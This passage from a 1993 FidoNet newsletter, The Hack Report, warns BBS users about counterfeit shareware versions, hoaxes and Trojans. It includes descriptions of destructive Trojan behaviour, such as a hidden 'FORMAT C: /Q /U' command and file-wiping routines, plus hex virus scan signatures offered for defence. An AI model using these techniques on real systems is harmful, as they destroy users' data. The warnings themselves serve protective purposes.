home *** CD-ROM | disk | FTP | other *** search
/ Gold Medal Software 3 / Gold Medal Software - Volume 3 (Gold Medal) (1994).iso / misc / pcpm0494.arj / ART8 < prev    next >
Text File  |  1994-02-18  |  139KB  |  2,792 lines
  1. ██╗       ██████╗   ██████╗  ██╗  ██╗            ██████╗  ██╗   ██╗ ████████╗
  2. ██║      ██╔═══██╗ ██╔═══██╗ ██║ ██╔╝           ██╔═══██╗ ██║   ██║ ╚══██╔══╝
  3. ██║      ██║   ██║ ██║   ██║ █████╔╝            ██║   ██║ ██║   ██║    ██║
  4. ██║      ██║   ██║ ██║   ██║ ██╔═██╗            ██║   ██║ ██║   ██║    ██║
  5. ███████╗ ╚██████╔╝ ╚██████╔╝ ██║  ██╗           ╚██████╔╝ ╚██████╔╝    ██║
  6. ╚══════╝  ╚═════╝   ╚═════╝  ╚═╝  ╚═╝            ╚═════╝   ╚═════╝     ╚═╝
  7.  
  8.  
  9.       ███████╗  ██████╗  ██████╗          ████████╗ ██╗  ██╗ ███████╗
  10.       ██╔════╝ ██╔═══██╗ ██╔══██╗         ╚══██╔══╝ ██║  ██║ ██╔════╝
  11.       █████╗   ██║   ██║ ██████╔╝            ██║    ███████║ █████╗
  12.       ██╔══╝   ██║   ██║ ██╔══██╗            ██║    ██╔══██║ ██╔══╝
  13.       ██║      ╚██████╔╝ ██║  ██║            ██║    ██║  ██║ ███████╗
  14.       ╚═╝       ╚═════╝  ╚═╝  ╚═╝            ╚═╝    ╚═╝  ╚═╝ ╚══════╝
  15.  
  16.  
  17.                     ██╗  ██╗  █████╗   ██████╗ ██╗  ██╗
  18.       ▄ ██╗▄        ██║  ██║ ██╔══██╗ ██╔════╝ ██║ ██╔╝        ▄ ██╗▄
  19.        ████╗        ███████║ ███████║ ██║      █████╔╝          ████╗
  20.       ▀╚██╔▀        ██╔══██║ ██╔══██║ ██║      ██╔═██╗         ▀╚██╔▀
  21.         ╚═╝         ██║  ██║ ██║  ██║ ╚██████╗ ██║  ██╗          ╚═╝
  22.                     ╚═╝  ╚═╝ ╚═╝  ╚═╝  ╚═════╝ ╚═╝  ╚═╝
  23.   .......................................................................
  24.  
  25.  
  26.   =========================================================================
  27.                                     ||
  28.   From the files of The Hack Squad: ||  by Lee Jackson, Moderator, FidoNet
  29.                                     ||    Int'l Echos SHAREWRE & WARNINGS
  30.           The Hack Report           ||  Volume 2, Number 9
  31.         for September, 1993         ||  Report Date: September 12, 1993
  32.                                     ||
  33.   =========================================================================
  34.  
  35.   Welcome to the ninth 1993 issue of The Hack Report.  This is a series
  36.   of reports that aim to help all users of files found on BBSs avoid
  37.   fraudulent programs, and is presented as a free public service by the
  38.   FidoNet International Shareware and Warnings Echos and the author of the
  39.   report, Lee Jackson (FidoNet 1:124/4007).
  40.  
  41.   This has not been a very good month here at Hack Central Station:  not
  42.   only was the report delayed by a week due to a back injury, but the
  43.   August issue was the subject of a hack.  It isn't the first time, and it
  44.   won't be the last.  Also, a file reported as a hoax last month has been
  45.   reclassified as a Trojan, and many new pirated files surface.  Thanks to
  46.   everyone who has helped put this report together, and to those that have
  47.   sent in comments and suggestions.
  48.  
  49.   NOTE TO SYSOPS: The Hack Report may be freely posted as a bulletin on
  50.   your BBS, subject to these conditions:
  51.  
  52.              1) the latest version is used,
  53.              2) it is posted in its entirety, and
  54.              3) it is not altered in any way.
  55.  
  56.   NOTE TO OTHER READERS: The Hack Report (file version) may be freely
  57.   uploaded to any BBS, subject to the above conditions, and only if you do
  58.   not change the filename.  You may convert the archive type as you wish,
  59.   but please leave the filename in its original HACK????.* format.  The
  60.   Hack Report may also be cross-posted in other networks (with the
  61.   permission of the other network) as long as it meets the above conditions
  62.   and you give appropriate credit to the FidoNet International Shareware
  63.   and Warnings Echos (and the author <g>).
  64.  
  65.   The idea is to make this information available freely.  However, please
  66.   don't cut out the disclaimers and other information if you use it, or
  67.   confuse the issue by spreading the file under different names.  Thanks!
  68.  
  69.   DISCLAIMER: The listings of Official Versions are not a guarantee of the
  70.   files' safety or fitness for use  Someone out there might just be
  71.   sick-minded enough to upload a Trojan with an "official" file name, so
  72.   >scan everything you download<!!!  The author of this report will not be
  73.   responsible for any damage to any system caused by the programs listed as
  74.   Official Versions, or by anything using the name of an Official Version.
  75.  
  76.   On this same note, programs and files listed in this report should not be
  77.   automatically considered dangerous.  It is simply impossible for the
  78.   author of this report to receive and test copies of every listed file, so
  79.   many of the reports listed herein are based on information sent to the
  80.   author by individuals in the BBS community.  For this reason, neither the
  81.   author of this report nor anyone officially associated with it shall be
  82.   held liable for any losses and/or damages resulting from a listing in
  83.   this report.
  84.  
  85.   Finally, the releases listed as the latest Official Versions may not be
  86.   entirely accurate.  However, they do reflect the latest version known to
  87.   the author of The Hack Report at the time of writing.  That's the nature
  88.   of the beast we call shareware:  authors have every right (and in this
  89.   writer's opinion, are well advised) to release a new version without
  90.   advance notice of any kind.  If you see a version newer than one listed
  91.   here, please contact one of The HackWatchers or myself so that we can
  92.   keep these listings up to date.
  93.  
  94.   *************************************************************************
  95.  
  96.                               Hacked Programs
  97.  
  98.   Here are the latest known versions of some programs known to have hacked
  99.   copies floating around.  Archive names are listed when known, along with
  100.   the person who reported the fraud (thanks from us all!).
  101.  
  102.    Program              Hack(s)                    Latest Official Version
  103.    =======              =======                    =======================
  104.    ARJ Archiver         ARJ250                     ARJ241A
  105.       Reported By:  Tommy Vielkanowitz(1:151/2305)
  106.                         ARJ239E
  107.       Reported By:  The Hack Squad
  108.                         ARJ239G
  109.       Reported By:  The Hack Squad
  110.                         ARJ240A
  111.       Reported By:  Ryan Shaw (1:152/38)
  112.                         ARJ300
  113.       Reported By:  Mike Stowe (ITCNet, via HW Robert Hinshaw)
  114.  
  115.    Blue Wave Offline    BWAVE213                   BWAVE212
  116.     Message Reader
  117.       Reported By:  Don Becker (grendel@jaflrn.linet.org)
  118.  
  119.    BNU FOSSIL Driver    BNU202                     BNU170
  120.       Reported By: Amauty Lambrecht (2:291/712)    (not counting betas)
  121.                         BNU188B
  122.       Reported By: David Nugent (3:632/348),
  123.                       Author of BNU
  124.  
  125.    DMS Amiga Disk       DMS version 1.12           DMS version 1.11
  126.     Masher
  127.       Reported By: Ben Filips, via Jay Ruyle (1:377/31)
  128.  
  129. |  F-Prot Virus Scanner FP-205B                    FP-209D
  130.       Reported By: HW Bill Lambdin
  131.  
  132.    LhA Amiga Archiver   LHA148E                    LHA138E (Shareware)
  133.       Reported By: Michael Arends (1:343/54)       LHA v1.50r (Regist.)
  134.                         LHA151
  135.       Reported By: Lawrence Chen (1:134/3002)
  136.  
  137.    LHA Archiver (PC)    LHA214                     LHA213 (non-beta)*
  138.       Reported by: Patrick Lee (RIME address RUNNINGB)
  139.                         LHA214B
  140.                         ICE214
  141.                         LHA215
  142.       Reported by: Kenjirou Okubo, LHA Support Rep.
  143.          (Internet address: kenjirou@mathdent.im.uec.ac.jp)
  144.                         LHA300
  145.       Reported by: Mark Church (1:260/284)
  146.  
  147.    MakeNL               MKNL251                    MKNL250
  148.       Reported by: Dan Guenthner (SAF-Net 44:900/200,
  149.                    via HW Robert Hinshaw
  150.  
  151.    Math Master          MATHMSTR                   M-MST400
  152.       Reported by: James Frazee (1:343/158)
  153.  
  154.    MusicPlay            MPLAY31                    MPLAY25B
  155.       Reported By: Lee Madajczyk (1:280/5)
  156.  
  157.    PKLite               PKLTE201                   PKL115
  158.       Reported By: Wen-Chung Wu (1:102/342)
  159.  
  160.    PKZip                PKZ301                     PKZ204G
  161.       Reported By: Mark Dudley (1:3612/601)
  162.                    Jon Grimes (1:104/332)
  163.  
  164. |  Shez                 SHEZ72A                    SHEZ92 (also
  165. |                       SHEZ73                      SHEZ92P patch)
  166.       Reported By: HW Bill Lambdin
  167.  
  168.    Telemate             TM40C                      TM412-1 through 4
  169.       Reported By: Philip Dynes, RIME Telemate conference,
  170.                    via HW Richard Steiner
  171.                         TM401
  172.       Reported By: HW Richard Steiner
  173.                         TM410-1
  174.       Reported By: Bat Lang (1:382/91)
  175.  
  176.    Telix                Telix v3.20                TLX321-1
  177.                          (Prior to Dec. 1992)      TLX321-2
  178.                         Telix v3.25                TLX321-3
  179.       Reported By: Brian C. Blad (1:114/107)       TLX321-4
  180.                    Peter Kirn (WildNet, via HW Ken Whiton)
  181.                         Telix v4.00
  182.                         Telix v4.15
  183.       Reported By: Barry Bryan (1:370/70)
  184.                         Telix v4.25
  185.       Reported By: Daniel Zuck (2:247/30, via Chris
  186.                     Lueders (2:241/5306.1)
  187.                         MegaTelix
  188.       Verified By: Jeff Woods, deltaComm, Inc.
  189.                         Telix Pro
  190.       Reported By: Jason Engebretson (1:114/36),
  191.                    in the FidoNet TELIX echo
  192.  
  193.    TheDraw              TDRAW430                   TDRAW461
  194.                         TDRAW5
  195.       Reported by: Ian Douglas (5:7102/119)
  196.                         TDRAW500
  197.       Reported by: Ian Davis, Author
  198.                         TDRAW550
  199.       Reported by: Steve Klemetti (1:228/19)
  200.                         TDRAW600
  201.       Reported by: Hawley Warren (1:120/297)
  202.                         THEDR60
  203.       Reported by: Larry Owens (PDREVIEW echo, 1:280/17)
  204.                         TDRAW601
  205.       Reported by: Jesper Tragardh (2:200/109)
  206.                         TDRAW800
  207.       Reported by: James Carswell (1:153/775)
  208.  
  209.  
  210.    Wolfenstein-3D       WOLF2-1                    #1WOLF14
  211.                         WOLF2-2
  212.       Reported By: Wen-Chung Wu (1:102/342)
  213.                         WFSF2-IA
  214.       Reported By: Jared Huber (1:203/762)
  215.  
  216.  
  217.   * -   See the section "Clarifications and Thanks" for details on
  218.         other valid version numbers for LHA.
  219.  
  220.  
  221.   =========================================================================
  222.  
  223.                                 Hoax Alert:
  224.  
  225. | Whoa - what happened here?  Wasn't there a report in the August 1993
  226. | issue about OWS95B in this section of the report?  Yes, there was, but it
  227. | has been moved.  After discussion with Aryeh Goretsky, SysOp of the
  228. | McAfee VirusForum on CompuServe (76702,1714), this file has been
  229. | reclassified.  Look in The Trojan Wars section for details and for Aryeh
  230. | Goretsky's comments.
  231.  
  232.  
  233.   HW Mikael Winterkvist reports that he received a program for study from
  234.   Patrik Sjoberg, the author of Febbs.  The program Patrik found was called
  235.   VIP and claimed to be a "new, easy to use archive-program" called "Visual
  236.   Illusions Pack."
  237.  
  238.   Mikael and Patrik both studied the program and determined that it was
  239.   merely an altered version of the LHA Archiver v1.13.  To make matters
  240.   worse, the "author" asked for a registration fee.  Save your money.
  241.  
  242.  
  243.   The Hack That Wouldn't Die has reared its ugly head again:  XTRATANK is
  244.   still floating around out there, according to a sighting by Mike Ledoux
  245.   (1:132/202).  This file was reported in detail in the 1992 Full Archive
  246.   Edition of The Hack Report (HACK92FA), but it seems to be so unwilling to
  247.   go away that it is mentioned again here.  For those of you new to The
  248.   Hack Report, XTRATANK is a confirmed and tested hoax that does _not_
  249.   double your hard drive space, regardless of what you might see when you
  250.   do a DIR command.  If you have doubts, try the Fitzgerald test below.
  251.  
  252.   *** The Fitzgerald Test
  253.  
  254.   Here is the now-famous Fitzgerald Test, devised by Tim Fitzgerald of
  255.   1:3800/18.0 and validated through testing performed by Bill Logan of The
  256.   Pueblo Group (1:300/22).  Try this if you think you have managed to get
  257.   XTRATANK to work on your system.  Follow these simple steps:
  258.  
  259.       1. Run CHKDSK and write down the free space it reports as free.
  260.       2. Do a DIR command and write down what XTRATANK reports.
  261.       3. Copy any text file to a new text file.
  262.       4. Repeat steps 1 and 2, and compare.
  263.  
  264.   You will see that XTRATANK reports that twice as much disk space is taken
  265.   up by the new text file.
  266.  
  267.  
  268.   Michael Toth (1:115/439.7) has located another incident of the Amiga
  269.   Emulator hoax, reported in the 1992 Full Archive Edition of The Hack
  270.   Report as AMIGA.  This time, the file was under the filename IBM_AMGA,
  271.   and contained the following internal files:
  272.  
  273.   Name          Length    Method    Size now  Mod Date    Time     CRC
  274.   ============  ========  ========  ========  =========  ======== ========
  275.   README.USA         393  Imploded       338  10 Apr 91  18:07:06 2CF72B62
  276.   EMULATOR.EXE    273947  Imploded    157084  15 Sep 90  01:00:00 02A68881
  277.   ============  ========  ========  ========  =========  ======== ========
  278.   *total     2    274340  ZIP 1.10    158592  13 Oct 91  11:28:00
  279.  
  280.   The file claims to emulate Kickstart 1.2, version 33.192, on an IBM
  281.   compatible.  Michael's tests show that this file doesn't do much, if
  282.   anything - 15 minutes worth of waiting after running the program produced
  283.   no results.
  284.  
  285.  
  286.   Recently, an archive of Frisk's (a.k.a. Fridrik Skulason's) F-Prot Virus
  287.   Scanner v2.07 has been distributed with a "registration form" from a
  288.   company called JLT.  According to Frisk, this is not legitimate.  He says
  289.   that JLT contacted him in the fall of 1992, asking if they could
  290.   distribute F-Prot, collect registration fees, and forward 50% of the fees
  291.   to him.  Frisk didn't want them to do this, but it appears that an
  292.   archive with the "registration form" may have slipped into distribution.
  293.   In Frisk's words, "...this version is most certainly not something that I
  294.   want distributed."
  295.  
  296.  
  297.   From the "Not Really A Program, but Interesting Anyway" department, a
  298.   "press release" has entered distribution, claiming that PKWare Inc. has
  299.   filed for Chapter 11 bankruptcy.  The letter is dated Friday, February
  300.   26, 1993, and supposedly quotes Mark Gresbach of PKWare in the statement.
  301.  
  302.   However, in a message posted in the CompuServe PKWARE forum on March 1,
  303.   1993, PKWare employee Douglas Hay states that this is not true.  Douglas
  304.   also points out that the perpetrator of the hoax misspelled the word
  305.   Milwaukee (as 'Milwaukie'), and that one of the three phone numbers in
  306.   the message for PKWare is wrong.  In short, ignore the letter - PKWare
  307.   has _not_ filed bankruptcy.
  308.  
  309.  
  310.   Other previously reported hoaxes:
  311.  
  312.   Filename      Claimed use/Actual activity/Reporter(s)
  313.   ============  ==========================================================
  314.   PKZ305        Hacked "new version" of PKZip.  However, a message in wide
  315.                 circulation claimed this was infected with a virus called
  316.                 PROTO-T.  This message is the actual hoax:  there may be
  317.                 one or more PROTO-T viruses around now, but none do what
  318.                 was claimed in the hoax message.  This hack, PKZ305, was
  319.                 not infected with any virus, nor did it contain Trojan
  320.                 code, per testing by Bill Logan (1:300/22), HW Jeff White,
  321.                 and HW Bill Lambdin.
  322.  
  323.   RAOPT         "Optimizes" your RemoteAccess BBS files and claims to be
  324.                 from Continental Software.  Actually does nothing but read
  325.                 your USERS.BBS file and report the number of users.  The
  326.                 program is _not_ from Continental Software, according to
  327.                 Andrew Milner.  Reported by Kai Sundren (2:201/150), via
  328.                 HW Mikael Winterkvist.
  329.  
  330.   SCORCHV2      Claims to be v2.0 of the game Scorched Earth:  this version
  331.                 doesn't yet exist.  Actually a renamed archive of version
  332.                 1.2.  Reported by Brian Dhatt (1:3648/2.5).
  333.  
  334.   =========================================================================
  335.  
  336.                               The Trojan Wars
  337.  
  338.   Well, folks, it has happened again.  Someone apparently doesn't like the
  339.   idea of The Hack Report, and has decided to take a hack at it themselves.
  340.   Fortunately, it was caught rather quickly, thanks to the people who read
  341.   and support the report.  Your assistance is very much appreciated, folks!
  342.   This isn't the only new report for the month - oh yes, there is more.
  343.   So, sit back, buckle up, enjoy the scenery, and read on.
  344.  
  345.  
  346. | As I just mentioned, there has been another attack against The Hack
  347. | Report itself:  this time, against the August issue.  James Anderson (1:
  348. | 379/609) left a message on Jack Cross's system (1:3805/13, Official Hack
  349. | Report Utility Distribution Site) and a copy of the August report archive
  350. | which contained the file HMON.EXE.  This Trojan, found by one of James's
  351. | users on a Florida BBS, attacks mostly .exe files on your path, as well
  352. | as some Windows programs and COMMAND.COM (according to James' report).
  353. |
  354. | The archive of the report had one of its text files altered as well.  The
  355. | NOTE9308.TXT file had a paragraph inserted at the beginning which claimed
  356. | that the HMON.EXE file was a "small virus-detection program" that "i and
  357. | others (sic) were developing."  Those of you who have followed this
  358. | report since its start would suspect this immediately, as I have
  359. | previously stated that I am not an anti-viral programmer or researcher:
  360. | merely a journalist who relays reports he receives from others.
  361. |
  362. | The paragraph goes on to say (in very bad grammar) that the file should
  363. | be placed in the same directory as SCAN.EXE, and recommends that you put
  364. | it on your path.  I do not know why, but I would assume that it looks for
  365. | McAfee's SCAN and does something nasty to it.
  366. |
  367. | In any event, allow me to restate the warning that I made when this
  368. | happened previously:
  369. |
  370. |       THE OFFICIAL ARCHIVE OF THE HACK REPORT WILL _NEVER_ CONTAIN
  371. |       ANY EXECUTABLE OR BATCH FILE!  ONLY TEXT FILES AND NON-
  372. |       EXECUTABLE BINARY FILES WILL BE INCLUDED IN THE REPORT ARCHIVE.
  373. |
  374. | If you have _any_ doubt of the legitimacy of your copy of the report,
  375. | please inform your friendly neighborhood HackWatcher or myself, and
  376. | contact one of the official distribution sites to obtain an official
  377. | copy.
  378. |
  379. | With the above in mind, and taking into regard the best interests of the
  380. | BBS community, HACK9308 goes into the report as a file to avoid.
  381.  
  382.  
  383. | From the "I'll Sell You the Brooklyn Bridge for $5" department:  a file
  384. | claiming to be an archiver that can achieve 1500:1 compression of almost
  385. | any file has been spotted. Sounds too good to be true?  You're right:  it
  386. | is too good to be true.
  387. |
  388. | The file in question is called OWS95B.  The first report I received on it
  389. | came via HW Bob Seaborn, although at least a dozen reports similar to his
  390. | came through the echos I monitor or through NetMail.  In short, the file
  391. | does nothing more than act like an "undelete" utility of sorts, storing
  392. | filenames and copying them to other directories.  Test results of this
  393. | file can be seen in the file FILETSTS.LZH, part of the archive version of
  394. | The Hack Report.  Look for two files inside this internal archive:  a
  395. | text report from Kevin Gates (1:140/64) called OWS.RES, and a dump of the
  396. | data segment of the program, DS_DUMP.OWS.
  397. |
  398. | If you have a copy of this program and need to see for yourself that it
  399. | is a fraud, here is a test devised by Bob that should do the trick.
  400. |
  401. | *** The Seaborn Test
  402. |
  403. |     1) Create a temporary working directory (\WORK) and a temporary test
  404. |        directory (\TEST) on any drive.
  405. |     2) Copy any number of mixed files into the \WORK directory.
  406. |     3) Use OWS.EXE to create \TEST\archive.ows of \WORK\*.*
  407. |     4) Now use SUNOWS.COM to tear apart \TEST\archive.ows, with the files
  408. |        going into the \TEST directory.
  409. |
  410. |     At this point everything should appear to work properly.
  411. |
  412. |     5) Delete all the original files in the \WORK\*.* directory.
  413. |     6) Use SUNOWS.COM to extract all the files in the \TEST\archive.ows
  414. |        file to restore all the files originally in the \WORK directory.
  415. |
  416. |     This will fail giving you a "Sector Not Found, Abort, Retry, Fail"
  417. |     error, and there's nothing that you can do to solve this error.
  418. |
  419. | This file was originally reported in the Hoax Alert section of this
  420. | report.  However, Aryeh Goretsky, SysOp of the McAfee VirusForum on
  421. | CompuServe (76702,1714) pointed out that this is actually a Trojan.  Here
  422. | are his comments, used by permission:
  423. |
  424. |   "The program is indeed a Trojan horse.  It is an expectation of the
  425. |   author that the user will delete the original uncompressed file.  An
  426. |   expectation that is filled most of the time...."
  427. |
  428. | I had not considered this when I classed the file as a simple Hoax.
  429. | However, Aryeh is right.  This is a very sneaky Trojan.  It doesn't do
  430. | any damage to your system:  instead, it fools you into doing the damage
  431. | yourself.
  432.  
  433.  
  434. | Ian Douglas (5:7105/119) forwarded a sighting of RAG2FIX from Tiaan Van
  435. | Aardt (5:7105/8).  This file, a supposed "fix" for RemoteAccess
  436. | v2.00gamma, gives itself away by using the company name "Continental
  437. | Software" - a name no longer in use by the RA folks.  The Trojan first
  438. | searches for your FILES.RA file, and then erases all files in the current
  439. | directory, your RA.KEY file, and any ARJ, LZH, and ZIP files it runs
  440. | across.  Hopefully, this hasn't spread outside of FidoNet Zone 5
  441. | (Africa), but you never know:  keep your eyes open.
  442.  
  443.  
  444. | Carl Johnson (1:115/363) reported on VIZ534, a possible isolated incident
  445. | involving a program called VIZ.  From Carl's analysis, he was unable to
  446. | determine if this was a pure Trojan, an altered legitimate program, or a
  447. | Trojan masquerading as a legitimate program.  However, Michael Toth, a
  448. | regular contributor to The Hack Report, received a copy of the file and
  449. | verified its destructive behaviour.  Here are the archive contents:
  450. |
  451. |       Files in archive:          VIZ.DAT, 22426 bytes
  452. |                                  VIZ.COM,  3163 bytes
  453. |                                  VIZ.DOC, 65715 bytes
  454. |                                  VIZ.REG,  3676 bytes
  455. |
  456. |       What it's supposed to do:  Accelerate video performance, as
  457. |                                  well as do a few utilities with
  458. |                                  the video display.
  459. |
  460. | Carl learned that when the VIZ.COM file is run, it renames VIZ.DAT to
  461. | BE.EXE (a file from The Norton Utilities v6.X, known as Batch Enhancer).
  462. | Next, it displays a configuration screen, then displays the string:
  463. |
  464. |                   "Is this text in red? (Y/N)
  465. |
  466. | At some point during all of this, it executes the system command
  467. | FORMAT C: /Q /U, apparently suppressing the output and replacing it with
  468. | the above string.  This tricks the user into answering "yes" to the
  469. | normal warning about all data on the non-removable drive being lost.
  470. | John says that he was lucky in that he uses MS-DOS 6.0 and DoubleSpace,
  471. | which prevented the normal FORMAT command from operating (a side benefit
  472. | of DoubleSpace?  Trojan protection?  Interesting.).
  473.  
  474.  
  475. | HW Bill Lambdin received a file for testing from Brian O'Sullivan.  The
  476. | file, SPORT21C, claims to be a serial port analyzer.  It seems that Brian
  477. | has located an infected copy of the program, possibly an isolated
  478. | incident.  The INSTALL.COM file in the archive is infected with a new
  479. | variant of the Butterfly virus, which differs from the original in that
  480. | it contains the text "Hurray the Crusades!", and that it infects .exe
  481. | files as well as .com files.  Bill provides the following information for
  482. | users of Frisk's F-Prot and other scanners that allow for external scan
  483. | strings:
  484. |
  485. |     "F-Prot 2.09 detects this virus as Butterfly in .COM files, but
  486. |     misses it in .EXE files. Add this signature to F-Prot or others
  487. |     scanners that allow the use of external signature file.
  488. |
  489. |       Name: Butterfly (Crusades)
  490. |       Infects: .COM and .EXE files.
  491. |       Signature: B4 4E 8D B6 50 02 8D 96 2C 02 52 EB 3C B4 1A BA
  492. |
  493. |     Remove the spaces between the HEX values when adding the signature."
  494.  
  495.  
  496. | Martin Roesler (Martin_Roesler@nem.fido.de, 2:246/149) posted a message
  497. | in the FidoNet VIRUS_INFO echo that was rather short and to the point.
  498. | He stated that a file called BREAKARJ is circulating in Germany, and that
  499. | it contains the Split virus.  He ended by saying that Split is a simple
  500. | COM infector, 250 bytes long, and can be detected with the following
  501. | signature:
  502. |
  503. |           9CFC 8DB6 DF01 BF00 01B9 0200
  504. |
  505. | Short, to the point, and much appreciated.
  506.  
  507.  
  508.   Glenn Jordan (1:3641/1.201) reports on a "wave of Trojans down in
  509.   Oklahoma" (or up in Oklahoma, depending on your geographical
  510.   perspective).  His contact originally came via Doug Taylor of the
  511.   Vanishing Point BBS.  According to Glenn, someone got a bunch of [IVP]
  512.   produced viruses and a Trojan produced by a Trojan Construction Kit, then
  513.   proceeded to upload them to quite a few systems.  The only filename
  514.   provided, however, was ZIPCHAP, which contained an ANSI bomb that
  515.   redefined your spacebar to invoke an internal ZIPCHAP program (apparently
  516.   infected - Glenn's copy was corrupted and wouldn't run).
  517.  
  518.   This ANSI bomb is a bit different from others that I have seen, but not
  519.   unique in its method.  It is stored inside the archive under the filename
  520.   CON.  In other words, it's actually a device bomb variant - turning off
  521.   ANSI comments in PKZIP or other unpackers won't stop it, since it isn't
  522.   part of the header.  Instead, unpacking the file causes the device CON to
  523.   be opened, and the bomb is written straight to it as a result.
  524.  
  525.  
  526.   HW Chris Wise received reports on two Trojans from Jim Deal (address not
  527.   given).  The first, PRIN2UNP, claimed to be an "unprotect" for Prince of
  528.   Persia 2, but appears to be a compiled batch file that does a good deal
  529.   of damage.  It starts by deleting everything in your C: drive root
  530.   directory, as well as the directory C:\DOS.  It then checks to see if you
  531.   are running a BBS:  if so, it deletes the files in your BBS directory.
  532.   Finally, it looks for other drives in your system and deletes their root
  533.   directories as well.
  534.  
  535.   The second Trojan, VECTORS, was described as a Sound Blaster demo
  536.   program.  It was compressed with PKLite v1.15.  This one simply deletes
  537.   all files in your C: drive's root directory, but that is enough to make
  538.   your system unbootable for a while.  This wasn't a compiled batch file:
  539.   however, Jim's report stated it contained some Borland BGI drivers, which
  540.   indicates it had some graphics in it (apparently to show off).
  541.  
  542.   Jim says that both files came from the same place.  I assume he meant
  543.   they were both done by the same person, as both had a message inside that
  544.   said, "Thanks for trusting F.*.C.K.S.  INFORMER."
  545.  
  546.  
  547.   Rod Fewster (3:640/886) did a bit of detective work on a file claiming
  548.   to be version 8.2 of Vern Buerg's LIST program, under the filename
  549.   LIST82.  He says he called Mr. Buerg to confirm the file, and verified
  550.   that this is not a valid release.  In fact, the file Rod received from
  551.   one of his users is infected.
  552.  
  553.   His examination of the file shows it to be compressed with PKLite, using
  554.   the "no unpack" option.  Further, the documentation has been altered to
  555.   look authentic, and the archive was packed with a PKZip -AV stamp which
  556.   displays the text "Authentic files from Vernon D. Buerg" when unzipped.
  557.   The only giveaways Rod could find were that the internal help screen date
  558.   didn't match the filedates, and the copyright notice reads "1983-92".
  559.  
  560.   Rod says the file is infected with a variant of the Butterfly virus which
  561.   he calls the FJM virus ("for want of a better name").  This virus infects
  562.   .com files in the directory it is executed in by attaching itself to the
  563.   end of a few files at a time, increasing each file's size by 305 bytes.
  564.   The infected files then spread the infection.  The virus does not attack
  565.   COMMAND.COM, nor does it attack files "smaller than about 100 bytes."
  566.  
  567.   The virus does not show immediately inside of the LIST program, but the
  568.   files it infects are detectable by VirusBuster v4.00.23, F-Prot, and
  569.   TBAV in heuristic mode.  VirusBuster can disinfect the infected files.
  570.  
  571.   Rod provided the following scan string that users of VirusBuster v4.xx
  572.   can add to their VBTSR.DAT file:
  573.  
  574.         Butterfly/FJM
  575.         ED ?12 96 ?10 96 ?0F DB ?08 BC ?02 BD ?04 ED ?02 DB
  576.  
  577.   He says this will stop Butterfly and FJM dead in their tracks.  Thanks
  578.   for the report, Rod!
  579.  
  580.  
  581.   An extremely widely reported incident concerned Winfred Hu's Telemate
  582.   program, v4.11.  Winfred himself has confirmed that an internal
  583.   self-extracting archive, VESA.EXE, which is part of the archive TM411-4,
  584.   contains two files that are infected with the Butterfly virus.  These
  585.   files, in the archive subdirectory OAK, are 37VESA.COM and 67VESA.COM.
  586.   The infection can be detected by F-Prot v2.08a.
  587.  
  588.   Winfred has since distributed a replacement archive, TM411-4A, which does
  589.   not contain these files.  (This has now been superseded by a new
  590.   version, TM412-1 through TM412-4.)  He has asked that anyone who has the
  591.   infected archive delete it and replace it with the newest version. He
  592.   also stresses that neither Telemate or GIFLink (part of the Telemate
  593.   package) are infected - only the two VESA drivers.
  594.  
  595.   Winfred has since informed me via HW Richard Steiner that the same VESA
  596.   drivers are present in the files GIFLK110 and GIFLK111.  He has asked
  597.   that these two archives be deleted and replaced with GIFLK112 (or the
  598.   most current version).  GIFLK112 has a README.TXT file which mentions the
  599.   infected VESA drivers inside the v1.10 and v1.11 files.
  600.  
  601.   He also states that he has traced the infection back to an isolated
  602.   incident of an infected copy of LIST77B.  He was unable to say for
  603.   certain where this copy originally came from.
  604.  
  605.   Editorial - as I've said before, it takes a lot of courage for an author
  606.   to publicly announce such a problem with their software.  Winfred Hu is
  607.   to be commended for his handling of this situation, and for the prompt
  608.   action he has taken to resolve it.
  609.  
  610.  
  611.   Gary Marden (2:258/27) has located a Trojan version of a file that was
  612.   quite popular last year - USRPATCH.  This was originally distributed as a
  613.   "patch" to the ROMs of a certain modem that would take advantage of a bug
  614.   left in the ROM chips in order to upgrade the modem to faster speeds.
  615.  
  616.   However, this Trojan takes advantage of your system instead of your
  617.   modem.  At first look, it appears to be a mutation of the BILLNTED Trojan
  618.   reported last year by David Elkins (2:254/78).  Gary says that it acts
  619.   more like the QOUTES Trojan reported later in this section.  It displays
  620.   the following messages once you invoke the internal USRPATCH.EXE file:
  621.  
  622.       Please wait, extracting user files.Bill'N'Ted have begun their
  623.          bogus journey...
  624.       Bill'N'Ted have begun their bogus journey.
  625.       Looks like an Evil Robot Bill'N'Ted have trashed your drive, dude!
  626.  
  627.   At this point, your prompt turns into a simple "C>".  If you press Enter,
  628.   your screen displays the message, "So long, suckers!", and then clears,
  629.   leaving you with a system that is quite useless.
  630.  
  631.   Gary's test, performed on an MFM drive, resulted in a hard drive with the
  632.   first 128 cylinders low-level formatted.  This included the partition
  633.   table, boot sectors, and FATs.  Repair is not possible using FDISK alone,
  634.   since the first 128 cylinders remain inaccessible.  The only practical
  635.   repair is to perform your own low-level format, followed by FDISK and a
  636.   high-level format.
  637.  
  638.   Gary did not test this with an IDE drive, but I am willing to wager that
  639.   he would have had the same results.  Repair would not have been as
  640.   simple, however - unless you have some heavy-duty IDE utility software,
  641.   you'd have to send your drive back to the manufacturer for a low-level
  642.   format.  Most bogus indeed.
  643.  
  644.  
  645.   HW Emanuel Levy forwarded a report from John Rose (1:106/6001) about
  646.   FORUM30.  The file, according to John, was "cleverly disguised as a 'new
  647.   BBS package'...."  However, John says it formatted both of his hard
  648.   drives.
  649.  
  650.  
  651.   Andrew Barnhardt (1:247/301) forwarded a post from Dom D'amato
  652.   (1:141/510) about an Amiga Trojan/dropper in circulation.  The file,
  653.   MCHECK, claims to be a modem test utility.  However, the original
  654.   reporter, Luca Spada (2:331/106.0), states that this file reports that
  655.   your modem is "OK" even if no modem is attached to your system.
  656.   Apparently, the Trojan monitors the keyboard for activity - if you leave
  657.   it alone for 5-10 minutes, it begins to overwrite random tracks on your
  658.   hard drive with endless obscenity.  Luca says it can reduce all of your
  659.   partitions to garbage in about 4 seconds.
  660.  
  661.   Another unidentified user reported that the Trojan looks for the presence
  662.   of an antiviral background program called SnoopDos - if it finds it, it
  663.   deactivates it.
  664.  
  665.   The archive contains these two files:
  666.  
  667.        Modemcheck.doc    2227 Bytes
  668.        Modemchecker     15516 Bytes
  669.  
  670.   Definitely sounds like one that Amiga users should avoid.
  671.  
  672.  
  673.   HW Ken Whiton forwarded a message from Wildnet user Kevin Tischler about
  674.   an incident of a tampered version of the AVScan antiviral tool, AVSCAN83.
